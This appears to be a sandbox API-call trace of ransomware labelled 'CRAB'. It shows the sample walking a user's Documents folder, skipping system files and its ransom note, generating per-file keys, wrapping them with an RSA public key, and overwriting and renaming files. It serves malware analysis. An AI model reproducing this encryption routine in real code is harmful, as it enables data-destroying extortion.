	[0127.727] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a8gl ic.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a8gl ic.xlsx.crab")) returned 1
	[0127.728] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.728] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB"
	[0127.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB.CRAB"
	[0127.729] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0127.731] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.732] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.732] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0127.732] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0127.732] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.732] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0127.735] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.735] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.736] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.736] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0127.736] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.736] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.736] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.736] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.737] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0127.739] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318f738) returned 1
	[0127.739] CryptGetKeyParam (in: hKey=0x318f738, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.739] CryptEncrypt (in: hKey=0x318f738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0127.740] GetLastError () returned 0x0
	[0127.740] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0127.740] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0127.743] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318fa38) returned 1
	[0127.743] CryptGetKeyParam (in: hKey=0x318fa38, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.743] CryptEncrypt (in: hKey=0x318fa38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0127.743] GetLastError () returned 0x0
	[0127.743] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.743] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a8gl ic.xlsx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x22c
	[0127.744] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.744] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.744] ReadFile (in: hFile=0x22c, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x4d10, lpOverlapped=0x0) returned 1
	[0127.757] VirtualAlloc (lpAddress=0x0, dwSize=0x4d10, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.757] VirtualAlloc (lpAddress=0x0, dwSize=0x4d10, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.758] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.758] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xffffb2f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.758] WriteFile (in: hFile=0x22c, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4d10, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x3149f14*=0x4d10, lpOverlapped=0x0) returned 1
	[0127.758] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.759] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.763] WriteFile (in: hFile=0x22c, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.763] WriteFile (in: hFile=0x22c, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.763] WriteFile (in: hFile=0x22c, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0127.763] CloseHandle (hObject=0x22c) returned 1
	[0127.763] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.763] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.763] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.764] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.764] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.764] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.764] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0127.764] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0127.765] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0127.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\CRAB-DECRYPT.txt"
	[0127.765] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.765] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\CRAB-DECRYPT.txt") returned 108
	[0127.765] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\CRAB-DECRYPT.txt") returned 108
	[0127.765] lstrlenW (lpString=".txt") returned 4
	[0127.765] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.765] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0127.765] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\CRAB-DECRYPT.txt") returned 108
	[0127.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\CRAB-DECRYPT.txt") returned 108
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0127.766] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0127.769] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.769] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0127.769] lstrcmpW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2=".") returned 1
	[0127.769] lstrcmpW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="..") returned 1
	[0127.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="QdJzko4w3UtTEqRj.doc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc"
	[0127.769] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.770] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc") returned 112
	[0127.770] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc") returned 112
	[0127.770] lstrlenW (lpString=".doc") returned 4
	[0127.770] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.770] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".doc ") returned 5
	[0127.770] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.770] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc") returned 112
	[0127.770] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc") returned 112
	[0127.770] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="desktop.ini") returned 1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="autorun.inf") returned 1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="ntuser.dat") returned 1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="iconcache.db") returned 1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="bootsect.bak") returned 1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="boot.ini") returned 1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="ntuser.dat.log") returned 1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="thumbs.db") returned -1
	[0127.771] lstrcmpiW (lpString1="QdJzko4w3UtTEqRj.doc", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.771] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.771] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB") returned 117
	[0127.771] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\qdjzko4w3utteqrj.doc")) returned 0x20
	[0127.771] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc", dwFileAttributes=0x20) returned 1
	[0127.772] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\qdjzko4w3utteqrj.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\qdjzko4w3utteqrj.doc.crab")) returned 1
	[0127.773] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.773] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB"
	[0127.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB.CRAB"
	[0127.773] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e7c0) returned 1
	[0127.776] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.776] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.776] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.776] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0127.776] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0127.784] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.790] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e6b0) returned 1
	[0127.793] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.793] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.793] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.794] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0127.794] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0127.794] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.794] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.798] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.799] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0127.801] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318f4f8) returned 1
	[0127.802] CryptGetKeyParam (in: hKey=0x318f4f8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.802] CryptEncrypt (in: hKey=0x318f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0127.802] GetLastError () returned 0x0
	[0127.802] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.802] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0127.805] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318f5b8) returned 1
	[0127.805] CryptGetKeyParam (in: hKey=0x318f5b8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.805] CryptEncrypt (in: hKey=0x318f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0127.805] GetLastError () returned 0x0
	[0127.805] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.805] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\QdJzko4w3UtTEqRj.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\qdjzko4w3utteqrj.doc.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x22c
	[0127.806] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.806] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.806] ReadFile (in: hFile=0x22c, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x16983, lpOverlapped=0x0) returned 1
	[0127.819] VirtualAlloc (lpAddress=0x0, dwSize=0x16990, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.821] VirtualAlloc (lpAddress=0x0, dwSize=0x16990, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0127.823] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.824] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xfffe967d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.824] WriteFile (in: hFile=0x22c, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x16990, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x3149f14*=0x16990, lpOverlapped=0x0) returned 1
	[0127.824] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.825] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.829] WriteFile (in: hFile=0x22c, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.829] WriteFile (in: hFile=0x22c, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.829] WriteFile (in: hFile=0x22c, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0127.829] CloseHandle (hObject=0x22c) returned 1
	[0127.829] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.830] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.830] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.830] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.830] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.831] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.831] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0127.831] lstrcmpW (lpString1="Zb17Uxn_tqlTLxelTlIM.rtf", lpString2=".") returned 1
